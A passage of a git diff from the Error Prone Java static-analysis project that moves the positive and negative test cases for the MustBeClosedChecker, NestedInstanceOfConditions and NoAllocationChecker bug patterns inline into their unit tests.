org.mockito.Mockito.when; + +import com.google.common.collect.ImmutableList; +import com.google.errorprone.annotations.MustBeClosed; + +@SuppressWarnings({"UnnecessaryCast", "LambdaToMemberReference"}) +public class MustBeClosedCheckerNegativeCases { + + class Closeable implements AutoCloseable { + + @Override + public void close() {} + } + + class Foo { + + void bar() {} + + @MustBeClosed + Closeable mustBeClosedAnnotatedMethod() { + return new Closeable(); + } + } + + class MustBeClosedAnnotatedConstructor extends Closeable { + + @MustBeClosed + MustBeClosedAnnotatedConstructor() {} + } + + @SuppressWarnings("MustBeClosedChecker") + void respectsSuppressWarnings_onMethod() { + new Foo().mustBeClosedAnnotatedMethod(); + } + + void respectsSuppressWarnings_onLocal() { + @SuppressWarnings("MustBeClosedChecker") + var unused = new Foo().mustBeClosedAnnotatedMethod(); + } + + void negativeCase3() { + try (Closeable closeable = new Foo().mustBeClosedAnnotatedMethod()) {} + } + + void negativeCase4() { + Foo foo = new Foo(); + try (Closeable closeable = foo.mustBeClosedAnnotatedMethod()) {} + } + + void negativeCase5() { + new Foo().bar(); + } + + void negativeCase6() { + try (MustBeClosedAnnotatedConstructor foo = new MustBeClosedAnnotatedConstructor()) {} + } + + void negativeCase7() { + try (MustBeClosedAnnotatedConstructor foo = new MustBeClosedAnnotatedConstructor(); + Closeable closeable = new Foo().mustBeClosedAnnotatedMethod()) {} + } + + @MustBeClosed + Closeable positiveCase8() { + // This is fine since the caller method is annotated. + return new MustBeClosedAnnotatedConstructor(); + } + + @MustBeClosed + Closeable positiveCase7() { + // This is fine since the caller method is annotated. + return new Foo().mustBeClosedAnnotatedMethod(); + } + + @MustBeClosed + Closeable ternary(boolean condition) { + return condition ? new Foo().mustBeClosedAnnotatedMethod() : null; + } + + @MustBeClosed + Closeable cast() { + // TODO(b/241012760): remove the following line after the bug is fixed. + // BUG: Diagnostic contains: + return (Closeable) new Foo().mustBeClosedAnnotatedMethod(); + } + + void tryWithResources() { + Foo foo = new Foo(); + Closeable closeable = foo.mustBeClosedAnnotatedMethod(); + try { + } finally { + closeable.close(); + } + } + + void mockitoWhen(Foo mockFoo) { + when(mockFoo.mustBeClosedAnnotatedMethod()).thenReturn(null); + doReturn(null).when(mockFoo).mustBeClosedAnnotatedMethod(); + } + + void testException() { + try { + ((Foo) null).mustBeClosedAnnotatedMethod(); + fail(); + } catch (NullPointerException e) { + } + } + + abstract class ParentWithNoArgument implements AutoCloseable { + @MustBeClosed + ParentWithNoArgument() {} + } + + abstract class ParentWithArgument implements AutoCloseable { + @MustBeClosed + ParentWithArgument(int i) {} + } + + abstract class ChildOfParentWithArgument extends ParentWithArgument { + @MustBeClosed + ChildOfParentWithArgument() { + super(0); + } + } + + interface ResourceFactory { + @MustBeClosed + MustBeClosedAnnotatedConstructor getResource(); + } + + void consumeCloseable(ResourceFactory factory) { + try (Closeable c = factory.getResource()) {} + } + + void expressionLambdaReturningCloseable() { + consumeCloseable(() -> new MustBeClosedAnnotatedConstructor()); + } + + void statementLambdaReturningCloseable() { + consumeCloseable( + () -> { + return new MustBeClosedAnnotatedConstructor(); + }); + } + + void methodReferenceReturningCloseable() { + consumeCloseable(MustBeClosedAnnotatedConstructor::new); + } + + void ternaryFunctionalExpressionReturningCloseable(boolean condition) { + consumeCloseable( + condition + ? () -> new MustBeClosedAnnotatedConstructor() + : MustBeClosedAnnotatedConstructor::new); + } + + void inferredFunctionalExpressionReturningCloseable(ResourceFactory factory) { + ImmutableList.of( + factory, + () -> new MustBeClosedAnnotatedConstructor(), + MustBeClosedAnnotatedConstructor::new) + .forEach(this::consumeCloseable); + } +}""") + .doTest(); } @Test public void refactoring() { refactoringHelper - .addInput("testdata/MustBeClosedCheckerPositiveCases.java") - .addOutput("testdata/MustBeClosedCheckerPositiveCases_expected.java") + .addInputLines( + "MustBeClosedCheckerPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.annotations.MustBeClosed; +import java.util.function.Supplier; +import java.util.stream.Stream; + +@SuppressWarnings({"UnusedNestedClass", "UnusedVariable"}) +class MustBeClosedCheckerPositiveCases { + + class DoesNotImplementAutoCloseable { + @MustBeClosed + // BUG: Diagnostic contains: MustBeClosed should only annotate constructors of AutoCloseables. + DoesNotImplementAutoCloseable() {} + + @MustBeClosed + // BUG: Diagnostic contains: MustBeClosed should only annotate methods that return an + // AutoCloseable. + void doesNotReturnAutoCloseable() {} + } + + class Closeable implements AutoCloseable { + + @Override + public void close() {} + + public int method() { + return 1; + } + } + + class Foo { + + @MustBeClosed + Closeable mustBeClosedAnnotatedMethod() { + return new Closeable(); + } + + void sameClass() { + // BUG: Diagnostic contains: + mustBeClosedAnnotatedMethod(); + } + } + + class MustBeClosedAnnotatedConstructor extends Closeable { + + @MustBeClosed + MustBeClosedAnnotatedConstructor() {} + + void sameClass() { + // BUG: Diagnostic contains: + new MustBeClosedAnnotatedConstructor(); + } + } + + void positiveCase1() { + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } + + void positiveCase2() { + // BUG: Diagnostic contains: + Closeable closeable = new Foo().mustBeClosedAnnotatedMethod(); + } + + void positiveCase3() { + try { + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } finally { + } + } + + void positiveCase4() { + try (Closeable c = new Foo().mustBeClosedAnnotatedMethod()) { + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } + } + + void positiveCase5() { + // BUG: Diagnostic contains: + new MustBeClosedAnnotatedConstructor(); + } + + Closeable positiveCase6() { + // BUG: Diagnostic contains: + return new MustBeClosedAnnotatedConstructor(); + } + + Closeable positiveCase7() { + // BUG: Diagnostic contains: + return new Foo().mustBeClosedAnnotatedMethod(); + } + + int existingDeclarationUsesVar() { + // BUG: Diagnostic contains: + var result = new Foo().mustBeClosedAnnotatedMethod(); + return 0; + } + + boolean twoCloseablesInOneExpression() { + // BUG: Diagnostic contains: + return new Foo().mustBeClosedAnnotatedMethod() == new Foo().mustBeClosedAnnotatedMethod(); + } + + void voidLambda() { + // Lambda has a fixless finding because no reasonable fix can be suggested. + // BUG: Diagnostic contains: + Runnable runnable = () -> new Foo().mustBeClosedAnnotatedMethod(); + } + + void expressionLambda() { + Supplier supplier = + () -> + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } + + void statementLambda() { + Supplier supplier = + () -> { + // BUG: Diagnostic contains: + return new Foo().mustBeClosedAnnotatedMethod(); + }; + } + + void methodReference() { + Supplier supplier = + // TODO(b/218377318): BUG: Diagnostic contains: + new Foo()::mustBeClosedAnnotatedMethod; + } + + void anonymousClass() { + new Foo() { + @Override + public Closeable mustBeClosedAnnotatedMethod() { + // BUG: Diagnostic contains: + return new MustBeClosedAnnotatedConstructor(); + } + }; + } + + void subexpression() { + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod().method(); + } + + void ternary(boolean condition) { + // BUG: Diagnostic contains: + int result = condition ? new Foo().mustBeClosedAnnotatedMethod().method() : 0; + } + + int variableDeclaration() { + // BUG: Diagnostic contains: + int result = new Foo().mustBeClosedAnnotatedMethod().method(); + return result; + } + + void tryWithResources_nonFinal() { + Foo foo = new Foo(); + // BUG: Diagnostic contains: + Closeable closeable = foo.mustBeClosedAnnotatedMethod(); + try { + closeable = null; + } finally { + closeable.close(); + } + } + + void tryWithResources_noClose() { + Foo foo = new Foo(); + // BUG: Diagnostic contains: + Closeable closeable = foo.mustBeClosedAnnotatedMethod(); + try { + } finally { + } + } + + class CloseableFoo implements AutoCloseable { + + @MustBeClosed + CloseableFoo() {} + + // Doesn't autoclose Foo on Stream close. + Stream stream() { + return null; + } + + @Override + public void close() {} + } + + void twrStream() { + // BUG: Diagnostic contains: + try (Stream stream = new CloseableFoo().stream()) {} + } + + void constructorsTransitivelyRequiredAnnotation() { + abstract class Parent implements AutoCloseable { + @MustBeClosed + Parent() {} + + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + Parent(int i) { + this(); + } + } + + // BUG: Diagnostic contains: Implicitly invoked constructor is marked @MustBeClosed + abstract class ChildDefaultConstructor extends Parent {} + + abstract class ChildExplicitConstructor extends Parent { + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + ChildExplicitConstructor() {} + + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + ChildExplicitConstructor(int a) { + super(); + } + } + } +}""") + .addOutputLines( + "MustBeClosedCheckerPositiveCases_expected.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.annotations.MustBeClosed; +import java.util.function.Supplier; +import java.util.stream.Stream; + +@SuppressWarnings({"UnusedNestedClass", "UnusedVariable"}) +class MustBeClosedCheckerPositiveCases { + + class DoesNotImplementAutoCloseable { + @MustBeClosed + // BUG: Diagnostic contains: MustBeClosed should only annotate constructors of AutoCloseables. + DoesNotImplementAutoCloseable() {} + + @MustBeClosed + // BUG: Diagnostic contains: MustBeClosed should only annotate methods that return an + // AutoCloseable. + void doesNotReturnAutoCloseable() {} + } + + class Closeable implements AutoCloseable { + + @Override + public void close() {} + + public int method() { + return 1; + } + } + + class Foo { + + @MustBeClosed + Closeable mustBeClosedAnnotatedMethod() { + return new Closeable(); + } + + void sameClass() { + // BUG: Diagnostic contains: + try (var closeable = mustBeClosedAnnotatedMethod()) {} + } + } + + class MustBeClosedAnnotatedConstructor extends Closeable { + + @MustBeClosed + MustBeClosedAnnotatedConstructor() {} + + void sameClass() { + // BUG: Diagnostic contains: + try (var mustBeClosedAnnotatedConstructor = new MustBeClosedAnnotatedConstructor()) {} + } + } + + void positiveCase1() { + // BUG: Diagnostic contains: + try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {} + } + + void positiveCase2() { + // BUG: Diagnostic contains: + try (Closeable closeable = new Foo().mustBeClosedAnnotatedMethod()) {} + } + + void positiveCase3() { + try { + // BUG: Diagnostic contains: + try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {} + } finally { + } + } + + void positiveCase4() { + try (Closeable c = new Foo().mustBeClosedAnnotatedMethod()) { + // BUG: Diagnostic contains: + try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {} + } + } + + void positiveCase5() { + // BUG: Diagnostic contains: + try (var mustBeClosedAnnotatedConstructor = new MustBeClosedAnnotatedConstructor()) {} + } + + @MustBeClosed + Closeable positiveCase6() { + // BUG: Diagnostic contains: + return new MustBeClosedAnnotatedConstructor(); + } + + @MustBeClosed + Closeable positiveCase7() { + // BUG: Diagnostic contains: + return new Foo().mustBeClosedAnnotatedMethod(); + } + + int existingDeclarationUsesVar() { + // Bug: Diagnostic contains: + try (var result = new Foo().mustBeClosedAnnotatedMethod()) { + return 0; + } + } + + boolean twoCloseablesInOneExpression() { + // BUG: Diagnostic contains: + try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) { + try (var closeable2 = new Foo().mustBeClosedAnnotatedMethod()) { + return closeable == closeable2; + } + } + } + + void voidLambda() { + // Lambda has a fixless finding because no reasonable fix can be suggested. + // BUG: Diagnostic contains: + Runnable runnable = () -> new Foo().mustBeClosedAnnotatedMethod(); + } + + void expressionLambda() { + Supplier supplier = + () -> + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } + + void statementLambda() { + Supplier supplier = + () -> { + // BUG: Diagnostic contains: + return new Foo().mustBeClosedAnnotatedMethod(); + }; + } + + void methodReference() { + Supplier supplier = + // TODO(b/218377318): BUG: Diagnostic contains: + new Foo()::mustBeClosedAnnotatedMethod; + } + + void anonymousClass() { + new Foo() { + @MustBeClosed + @Override + public Closeable mustBeClosedAnnotatedMethod() { + // BUG: Diagnostic contains: + return new MustBeClosedAnnotatedConstructor(); + } + }; + } + + void subexpression() { + // BUG: Diagnostic contains: + try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) { + closeable.method(); + } + } + + void ternary(boolean condition) { + // BUG: Diagnostic contains: + int result; + try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) { + result = condition ? closeable.method() : 0; + } + } + + int variableDeclaration() { + // BUG: Diagnostic contains: + int result; + try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) { + result = closeable.method(); + } + return result; + } + + void tryWithResources_nonFinal() { + Foo foo = new Foo(); + // BUG: Diagnostic contains: + try (Closeable closeable = foo.mustBeClosedAnnotatedMethod()) { + try { + closeable = null; + } finally { + closeable.close(); + } + } + } + + void tryWithResources_noClose() { + Foo foo = new Foo(); + // BUG: Diagnostic contains: + try (Closeable closeable = foo.mustBeClosedAnnotatedMethod()) { + try { + } finally { + } + } + } + + class CloseableFoo implements AutoCloseable { + + @MustBeClosed + CloseableFoo() {} + + // Doesn't autoclose Foo on Stream close. + Stream stream() { + return null; + } + + @Override + public void close() {} + } + + void twrStream() { + // BUG: Diagnostic contains: + try (CloseableFoo closeableFoo = new CloseableFoo(); + Stream stream = closeableFoo.stream()) {} + } + + void constructorsTransitivelyRequiredAnnotation() { + abstract class Parent implements AutoCloseable { + @MustBeClosed + Parent() {} + + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + @MustBeClosed + Parent(int i) { + this(); + } + } + + // BUG: Diagnostic contains: Implicitly invoked constructor is marked @MustBeClosed + abstract class ChildDefaultConstructor extends Parent {} + + abstract class ChildExplicitConstructor extends Parent { + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + @MustBeClosed + ChildExplicitConstructor() {} + + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + @MustBeClosed + ChildExplicitConstructor(int a) { + super(); + } + } + } +}""") .allowBreakingChanges() // The fix is best-effort, and some variable names may clash .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/NestedInstanceOfConditionsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/NestedInstanceOfConditionsTest.java index e355e3cfea9..97a39f1f498 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/NestedInstanceOfConditionsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/NestedInstanceOfConditionsTest.java @@ -36,14 +36,180 @@ public class NestedInstanceOfConditionsTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/NestedInstanceOfConditionsPositiveCases.java") + .addSourceLines( + "NestedInstanceOfConditionsPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author mariasam@google.com (Maria Sam) + * @author sulku@google.com (Marsela Sulku) + */ + public class NestedInstanceOfConditionsPositiveCases { + + public static void nestedInstanceOfPost() { + Object foo = new ClassA(); + Object bar = new ClassB(); + + // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types + if (foo instanceof ClassA) { + if (foo instanceof ClassB) { + System.out.println("test"); + } + } + + // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types + if (foo instanceof ClassA) { + System.out.println("test"); + if (foo instanceof ClassB) { + System.out.println("test"); + } + System.out.println("test"); + } + + // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types + if (foo instanceof ClassA) { + // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types + if (foo instanceof ClassA) { + if (foo instanceof ClassB) { + System.out.println("test"); + } + } + } + + // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types + if (foo instanceof ClassA) { + // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types + if (foo instanceof ClassB) { + if (foo instanceof ClassC) { + System.out.println("test"); + } + } + } + + // BUG: Diagnostic contains: Nested instanceOf conditions + if (foo instanceof ClassA) { + if (bar instanceof ClassB) { + if (foo instanceof ClassC) { + System.out.println("test"); + } + } + } + + if (foo instanceof ClassA) { + System.out.println("yay"); + // BUG: Diagnostic contains: Nested instanceOf conditions + } else if (foo instanceof ClassB) { + if (foo instanceof ClassC) { + System.out.println("uh oh"); + } + } + } + + static class ClassA {} + + static class ClassB {} + + static class ClassC {} + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/NestedInstanceOfConditionsNegativeCases.java") + .addSourceLines( + "NestedInstanceOfConditionsNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.ArrayList; +import java.util.List; + +/** + * @author mariasam@google.com (Maria Sam) + * @author sulku@google.com (Marsela Sulku) + */ +public class NestedInstanceOfConditionsNegativeCases { + public static void nestedInstanceOfPositiveCases() { + Object objectA = new Object(); + Object objectB = new Object(); + + // different objects + if (objectA instanceof SuperClass) { + if (objectB instanceof DisjointClass) { + System.out.println("yay"); + } + } + + // nested if checks to see if subtype of first + if (objectA instanceof SuperClass) { + if (objectA instanceof SubClass) { + System.out.println("yay"); + } + } + + if (objectA instanceof SuperClass) { + if (objectA instanceof SubClass) { + if (objectB instanceof DisjointClass) { + System.out.println("yay"); + } + } + } + + if (objectA instanceof SuperClass) { + if (objectB instanceof DisjointClass) { + if (objectA instanceof SubClass) { + System.out.println("yay"); + } + } + } + + if (objectA instanceof SuperClass) { + System.out.println("yay"); + } else if (objectA instanceof DisjointClass) { + System.out.println("boo"); + } else if (objectA instanceof String) { + System.out.println("aww"); + } + + if (objectA instanceof SuperClass) { + objectA = "yay"; + if (objectA instanceof String) { + System.out.println(); + } + } + + if (objectA instanceof SuperClass) { + if (objectA instanceof String) { + objectA = "yay"; + } + } + + List ls = new ArrayList(); + ls.add("hi"); + + // even though this could potentially be an error, ls.get(0) can be altered in many ways in + // between the two instanceof statements, therefore we do not match this case + if (ls.get(0) instanceof String) { + if (ls.get(0) instanceof SuperClass) { + System.out.println("lol"); + } + } + } + + /** test class */ + public static class SuperClass {} + ; + + /** test class */ + public static class SubClass extends SuperClass {} + ; + + /** test class */ + public static class DisjointClass {} + ; +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/NoAllocationCheckerTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/NoAllocationCheckerTest.java index 40b95bdf61f..5fc2c51cc60 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/NoAllocationCheckerTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/NoAllocationCheckerTest.java @@ -32,11 +32,1056 @@ public class NoAllocationCheckerTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/NoAllocationCheckerPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "NoAllocationCheckerPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.errorprone.annotations.NoAllocation; + + /** + * @author agoode@google.com (Adam Goode) + */ + public class NoAllocationCheckerPositiveCases { + // Trigger on new array. + @NoAllocation + public int[] newArray(int size) { + // BUG: Diagnostic contains: @NoAllocation + // Allocating a new array + return new int[size]; + } + + @NoAllocation + public int[] arrayInitializer(int a, int b) { + // BUG: Diagnostic contains: @NoAllocation + // Allocating a new array + int[] array = {a, b}; + return array; + } + + @NoAllocation + public int[] returnArrayInitializer(int a, int b) { + // BUG: Diagnostic contains: @NoAllocation + // Allocating a new array + return new int[] {a, b}; + } + + // Trigger on new. + @NoAllocation + public String newString(String s) { + // BUG: Diagnostic contains: @NoAllocation + // Constructing + return new String(s); + } + + // Trigger calling a method that does allocation. + public String allocateString() { + return new String(); + } + + @NoAllocation + public String getString() { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + return allocateString(); + } + + // Trigger on string conversion. + @NoAllocation + public int getInt() { + return 1; + } + + @NoAllocation + public String stringConvReturn(int i) { + // BUG: Diagnostic contains: @NoAllocation + // String concatenation + return "" + i; + } + + @NoAllocation + public String stringConvAssign(int i) { + // BUG: Diagnostic contains: @NoAllocation + // String concatenation + String s = "" + i; + return s; + } + + @NoAllocation + public String stringConvAssign2(int i) { + String s = ""; + // BUG: Diagnostic contains: @NoAllocation + // String concatenation + s = s + i; + return s; + } + + @NoAllocation + public String stringConvAssign3(int i) { + String s = ""; + // BUG: Diagnostic contains: @NoAllocation + // String concatenation + s = i + s; + return s; + } + + @NoAllocation + public String stringConvReturnMethod() { + // BUG: Diagnostic contains: @NoAllocation + // String concatenation + String s = "" + getInt(); + return s; + } + + @NoAllocation + public String stringConvCompoundAssign(int i) { + String s = ""; + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + s += i; + return s; + } + + @NoAllocation + public String stringConvCompoundReturnMethod() { + String s = ""; + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + s += getInt(); + return s; + } + + // Trigger on string concatenation. + @NoAllocation + public String doubleString(String s) { + // BUG: Diagnostic contains: @NoAllocation + // String concatenation + return s + s; + } + + @NoAllocation + public String doubleStringCompound(String s) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + s += s; + return s; + } + + // Trigger on foreach with non-array. + @NoAllocation + public int iteration(Iterable a) { + int result = 0; + // BUG: Diagnostic contains: @NoAllocation + // Iterating + for (Object o : a) { + result++; + } + return result; + } + + // Trigger on autoboxing. + @NoAllocation + public Integer assignBox(int i) { + Integer in; + // BUG: Diagnostic contains: @NoAllocation + // Assigning a primitive value + in = i; + return in; + } + + @NoAllocation + public Integer initializeBox(int i) { + // BUG: Diagnostic contains: @NoAllocation + // Initializing a non-primitive + Integer in = i; + return in; + } + + @NoAllocation + public Integer initializeBoxLiteral() { + // BUG: Diagnostic contains: @NoAllocation + // Initializing a non-primitive + Integer in = 0; + return in; + } + + @NoAllocation + public int castBox(int i) { + // BUG: Diagnostic contains: @NoAllocation + // Casting a primitive + int in = (Integer) i; + return in; + } + + @NoAllocation + public Integer returnBox(int i) { + // BUG: Diagnostic contains: @NoAllocation + // Returning a primitive + return i; + } + + @NoAllocation + public int unBox(Integer i) { + return i; + } + + @NoAllocation + public void callBox(int i) { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + unBox(i); + } + + @NoAllocation + public int unBox2(int i1, Integer i2) { + return i2; + } + + @NoAllocation + public void callBox2(int i1, int i2) { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + unBox2(i1, i2); + } + + @NoAllocation + public int unBox3(Integer i1, int i2) { + return i1; + } + + @NoAllocation + public void callBox3(int i1, int i2) { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + unBox3(i1, i2); + } + + @NoAllocation + public int varArgsMethod(int a, int... b) { + return a + b[0]; + } + + @NoAllocation + public void callVarArgs0() { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + varArgsMethod(0); + } + + @NoAllocation + public void callVarArgs() { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + varArgsMethod(1, 2); + } + + @NoAllocation + public void callVarArgs2() { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + varArgsMethod(1, 2, 3); + } + + @NoAllocation + public Object varArgsMethodObject(Object a, Object... b) { + return b[0]; + } + + @NoAllocation + public void callVarArgsObject(Object a, Object[] b) { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + varArgsMethodObject(a, b[0]); + } + + @NoAllocation + public void callVarArgsObjectWithPrimitiveArray(Object a, int[] b) { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + varArgsMethodObject(a, b); + } + + @NoAllocation + public int forBox(int[] a) { + int count = 0; + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + for (Integer i = 0; i < a.length; i++) { + count++; + } + return count; + } + + @NoAllocation + public void arrayBox(Integer[] a, int i) { + // BUG: Diagnostic contains: @NoAllocation + // Assigning a primitive value + a[0] = i; + } + + @NoAllocation + public int preIncrementBox(Integer i) { + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + ++i; + return i; + } + + @NoAllocation + public int postIncrementBox(Integer i) { + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + i++; + return i; + } + + @NoAllocation + public int preDecrementBox(Integer i) { + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + --i; + return i; + } + + @NoAllocation + public int postDecrementBox(Integer i) { + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + i--; + return i; + } + + @NoAllocation + public int forEachBox(int[] a) { + int last = -1; + // BUG: Diagnostic contains: @NoAllocation + // Iterating + for (Integer i : a) { + last = i; + } + return last; + } + + @NoAllocation + public void arrayPreIncrementBox(Integer[] a) { + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + ++a[0]; + } + + @NoAllocation + public void arrayPostIncrementBox(Integer[] a) { + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + a[0]++; + } + + @NoAllocation + public void arrayPreDecrementBox(Integer[] a) { + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + --a[0]; + } + + @NoAllocation + public void arrayPostDecrementBox(Integer[] a) { + // BUG: Diagnostic contains: @NoAllocation + // Pre- and post- increment/decrement + a[0]--; + } + + @NoAllocation + public int compoundBox(Integer a, int b) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + a += b; + return a; + } + + @NoAllocation + public void arrayCompoundBox(Integer[] a, int b) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + a[0] += b; + } + + @NoAllocation + public void andAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 &= i2; + } + + @NoAllocation + public void divideAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 /= i2; + } + + @NoAllocation + public void leftShiftAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 <<= i2; + } + + @NoAllocation + public void minusAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 -= i2; + } + + @NoAllocation + public void multiplyAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 *= i2; + } + + @NoAllocation + public void orAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 |= i2; + } + + @NoAllocation + public void plusAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 += i2; + } + + @NoAllocation + public void remainderAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 %= i2; + } + + @NoAllocation + public void rightShiftAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 >>= i2; + } + + @NoAllocation + public void unsignedRightShiftAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 >>>= i2; + } + + @NoAllocation + public void xorAssignmentBox(Integer i1, Integer i2) { + // BUG: Diagnostic contains: @NoAllocation + // Compound assignment + i1 ^= i2; + } + + // Cloning is right out. + @NoAllocation + public Object doClone() throws CloneNotSupportedException { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + return clone(); + } + + // Throwing doesn't exempt through method declarations. + @NoAllocation + public String throwForeach(final Iterable a) { + throw new RuntimeException() { + @NoAllocation + private void f() { + // BUG: Diagnostic contains: @NoAllocation + // Iterating + for (Object o : a) { + // BUG: Diagnostic contains: @NoAllocation + // Calling a method + a.toString(); + } + } + }; + } + + public interface NoAllocationInterface { + @NoAllocation + void method(); + } + + public static class NoAllocationImplementingClass implements NoAllocationInterface { + @Override + // BUG: Diagnostic contains: @NoAllocation + public void method() {} + } + + public abstract static class NoAllocationAbstractClass { + @NoAllocation + abstract void method(); + } + + public static class NoAllocationConcreteClass extends NoAllocationAbstractClass { + @Override + // BUG: Diagnostic contains: @NoAllocation + void method() {} + } + + public static class NoAllocationParentClass implements NoAllocationInterface { + @Override + @NoAllocation + public void method() {} + } + + public static class NoAllocationSubclass extends NoAllocationParentClass { + @Override + // BUG: Diagnostic contains: @NoAllocation + public void method() {} + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/NoAllocationCheckerNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "NoAllocationCheckerNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.annotations.NoAllocation; +import java.util.Arrays; + +/** + * @author agoode@google.com (Adam Goode) + */ +public class NoAllocationCheckerNegativeCases { + // Calling safe methods is fine. + @NoAllocation + public boolean comparison(int n) { + return n > 1; + } + + @NoAllocation + public void callNoAllocationMethod() { + comparison(5); + } + + @NoAllocation + @SuppressWarnings({"foo, bar"}) + public void annotatedWithArray() {} + + @NoAllocation + public boolean arrayComparison(int[] a) { + return a.length > 0 && a[0] > 1; + } + + // Non string operations are fine. + @NoAllocation + public int sumInts(int a, int b) { + return a + b; + } + + @NoAllocation + public int addOne(int a) { + a += 1; + return a; + } + + // Foreach is allowed on arrays. + @NoAllocation + public int forEachArray(int[] a) { + int last = -1; + for (int i : a) { + last = i; + } + return last; + } + + // Varargs is ok if no autoboxing occurs. + @NoAllocation + public int varArgsMethod2(int a, int... b) { + return a + b[0]; + } + + @NoAllocation + public void callVarArgsNoAllocation(int[] b) { + varArgsMethod2(1, b); + } + + @NoAllocation + public Object varArgsMethodObject2(Object a, Object... b) { + return b[0]; + } + + @NoAllocation + public void callVarArgsObject2(Object a, Object[] b) { + varArgsMethodObject2(a, b); + } + + // Unboxing is fine. + @NoAllocation + public void unboxByCalling(Integer i) { + comparison(i); + } + + @NoAllocation + public int binaryUnbox(Integer a, int b) { + return a + b; + } + + // We can call a non-annotated method if we suppress warnings. + @NoAllocation + @SuppressWarnings("NoAllocation") + public void trustMe() { + String s = new String(); + } + + @NoAllocation + public void trusting() { + trustMe(); + } + + // Allocations are allowed in a throw statement. + @NoAllocation + public void throwNew() { + throw new RuntimeException(); + } + + @NoAllocation + public void throwNewArray() { + throw new RuntimeException(Arrays.toString(new int[10])); + } + + @NoAllocation + public void throwMethod() { + throw new RuntimeException(Integer.toString(5)); + } + 